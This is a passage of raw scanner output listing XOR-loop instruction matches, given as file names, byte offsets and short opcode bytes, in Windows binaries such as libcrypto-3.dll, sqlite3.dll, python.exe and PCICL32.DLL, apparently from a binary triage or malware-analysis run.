33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2658139; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2658164; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2658404; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2658430; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2658664; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2658747; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2658936; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2658962; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2659201; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2659227; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2659461; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2659487; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2659731; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2659997; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2660267; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2660614; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2662176; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2662427; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2662452; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2662687; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2662711; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2662938; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2662963; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2663192; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2663216; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2663440; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2663465; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2663707; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2663735; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2663959; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2663993; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2664290; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2664403; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2664482; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2664601; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2664694; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2664793; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2664888; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2664970; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2665093; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2665190; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2665323; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2665418; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2671653; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2671779; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2671786; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2671795; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2672692; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2672886; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2672954; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2673121; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2673132; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2673315; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2673401; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2673550; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2673561; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2673744; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2673830; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2673979; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2673990; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2674173; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2674259; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2676995; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2677189; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2677257; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2677424; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2677435; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2677618; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2677704; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2677853; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2677864; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2678047; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2678133; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2678282; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2678293; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2678476; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2678562; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 2952692; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3081745; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3082155; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3082245; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3082391; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3082793; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3082892; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3083043; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3083454; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3083539; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3083683; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3084086; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3084367; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3084432; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3084740; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3084831; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3084980; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3085394; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3085481; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3085632; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3086043; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3086122; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3086281; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3086684; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3086766; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3086919; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3087303; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3087405; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3087549; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3087964; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3088049; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3088191; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3088614; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3088700; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3088854; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3089013; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3091889; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3091921; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3094010; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3094290; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3094665; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3094728; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3094882; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3095258; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3095334; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3095475; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3095922; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3096078; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3096437; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3096513; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3096646; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3097030; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3097107; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3097250; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3097626; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3097703; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3097845; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3098230; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3098293; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3098449; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3098604; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3098806; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3098887; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3099028; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3099399; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3099485; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3099619; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3099828; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3131017; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3240639; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3240671; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3241905; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3248703; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3248735; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3250111; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3535363; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3535443; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3569809; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3579347; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3579459; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3580615; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3580655; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3587953; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3588119; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3702635; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3808960; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3833996; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 5222334; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 253212; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 307435; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 363114; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 2030064; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 2296709; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4009584; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4187650; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4189057; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4189696; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4764540; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4968072; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4986660; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5015500; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5015508; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5071500; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5103617; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5103625; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5103629; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5217627; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5226917; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 37369; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 37486; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 240983; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 240988; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 241011; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 241016; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 259849; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 425686; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 425691; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 871857; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 886493; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 886596; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 1111501; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 1134880; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 1290999; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 1577918; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 955892; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 1086980; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 1191452; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 1525892; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 1573211; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 1578357; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 1582479; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 1584450; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 35859; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 35939; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 314755; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 314867; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 316023; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 316063; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 509481; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 515853; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 516019; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 787902; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 267669; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 783195; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 788320; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 792485; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 794595; code bytes = 8030 Found XOR loop in file "vcruntime140.dll" at offset 65996; code bytes = 33c1 Found XOR loop in file "vcruntime140.dll" at offset 105766; code bytes = 8030 Found XOR loop in file "vcruntime140.dll" at offset 116065; code bytes = 8030 Found XOR loop in file "msedgewebview.exe" at offset 100631; code bytes = 8030 Found XOR loop in file "msedgewebview.exe" at offset 103412; code bytes = 8030 Found XOR loop in file "msedgewebview.exe" at offset 103588; code bytes = 8030 Found XOR loop in file "msedgewebview.exe" at offset 112645; code bytes = 8030 Found XOR loop in file "msedgewebview.exe" at offset 115462; code bytes = 8030 Found XOR loop in file "msedgewebview.exe" at offset 115638; code bytes = 8030 Found XOR loop in file "python.exe" at offset 2787; code bytes = 33c1 Found XOR loop in file "python.exe" at offset 98750; code bytes = 33c1 Found XOR loop in file "python.exe" at offset 12542; code bytes = 30040e Found XOR loop in file "python.exe" at offset 5680; code bytes = 8030 Found XOR loop in file "python.exe" at offset 6928; code bytes = 8030 Found XOR loop in file "python.exe" at offset 23247; code bytes = 8030 Found XOR loop in file "python.exe" at offset 27854; code bytes = 8030 Found XOR loop in file "python.exe" at offset 49802; code bytes = 8030 Found XOR loop in file "python.exe" at offset 94043; code bytes = 8030 Found XOR loop in file "python.exe" at offset 99189; code bytes = 8030 Found XOR loop in file "python.exe" at offset 103310; code bytes = 8030 Found XOR loop in file "pythonw.exe" at offset 24243; code bytes = 30d0 Found XOR loop in file "pythonw.exe" at offset 26954; code bytes = 30d0 Found XOR loop in file "pythonw.exe" at offset 49292; code bytes = 30d0 Found XOR loop in file "pythonw.exe" at offset 2811; code bytes = 33c1 Found XOR loop in file "pythonw.exe" at offset 97214; code bytes = 33c1 Found XOR loop in file "pythonw.exe" at offset 5696; code bytes = 8030 Found XOR loop in file "pythonw.exe" at offset 6900; code bytes = 8030 Found XOR loop in file "pythonw.exe" at offset 14165; code bytes = 8030 Found XOR loop in file "pythonw.exe" at offset 92507; code bytes = 8030 Found XOR loop in file "pythonw.exe" at offset 97653; code bytes = 8030 Found XOR loop in file "pythonw.exe" at offset 101775; code bytes = 8030 Found XOR loop in file "remcmdstub.exe" at offset 57623; code bytes = 8030 Found XOR loop in file "remcmdstub.exe" at offset 60404; code bytes = 8030 Found XOR loop in file "remcmdstub.exe" at offset 60580; code bytes = 8030 Found XOR loop in file "remcmdstub.exe" at offset 69637; code bytes = 8030 Found XOR loop in file "remcmdstub.exe" at offset 72454; code bytes = 8030 Found XOR loop in file "remcmdstub.exe" at offset 72630; code bytes = 8030 Found XOR loop in file "python3.dll" at offset 65470; code bytes = 33c1 Found XOR loop in file "python3.dll" at offset 60763; code bytes = 8030 Found XOR loop in file "python3.dll" at offset 65909; code bytes = 8030 Found XOR loop in file "python3.dll" at offset 70031; code bytes = 8030 Found XOR loop in file "vcruntime140_1.dll" at offset 15084; code bytes = 33c1 Found XOR loop in file "vcruntime140_1.dll" at offset 35123; code bytes = 8030 Found XOR loop in file "vcruntime140_1.dll" at offset 43752; code bytes = 8030 Found XOR loop in file "vcruntime140_1.dll" at offset 45437; code bytes = 8030 Found XOR loop in file "pcicapi.dll" at offset 21845; code bytes = 30d0 Found XOR loop in file "pcicapi.dll" at offset 24486; code bytes = 8030 Found XOR loop in file "pcicapi.dll" at offset 28412; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 255641; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 898988; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 1559751; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 1810939; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3458719; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3509396; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3588515; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3592749; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3597507; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3602113; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3605015; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3615523; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3622141; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3622491; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3635325; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3636025; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3637049; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3640065; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3646045; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3651145; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3653859; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3667255; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3670117; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3672483; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3675043; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3678647; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3681215; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3683027; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3686283; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3686929; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3689007; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3690093; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3691749; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3693843; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3694843; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 109628; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 109756; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 109884; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 110717; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 110845; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 110973; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 111926; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 112023; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 112118; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 112209; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 112304; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 112399; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 315238; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 522390; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 522432; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 522474; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 522516; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 537819; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 537844; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 537859; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 537885; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 748711; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 839978; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 839983; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 914311; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 937575; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 938023; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 938823; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 939266; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 1391945; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 1445450; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 1446069; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 1837061; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 1837509; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 1838085; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 1838533; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 1839397; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 1839845; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 1840421; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 1840869; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 3581209; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 3589509; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 3592817; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 3597547; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 3606801; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 3611491; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 3624885; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 3631875; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 3635563; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 3654575; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 420807; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 424504; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 570298; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 570528; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 706566; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 1035068; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 1736655; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 1754674; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 1833895; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 1904032; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 1964072; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 2014983; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3582258; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3587480; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3610164; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3614118; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3624852; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3626466; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3634198; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3644702; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3648824; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3651130; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3661956; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3665074; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3667216; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3670820; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3672444; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3675004; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3678608; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3679848; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3681196; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3683778; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3684630; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3686268; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3687968; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3689496; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3691082; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3691736; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3692890; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3693834; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3694342; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3695978; code bytes = 8030 Found 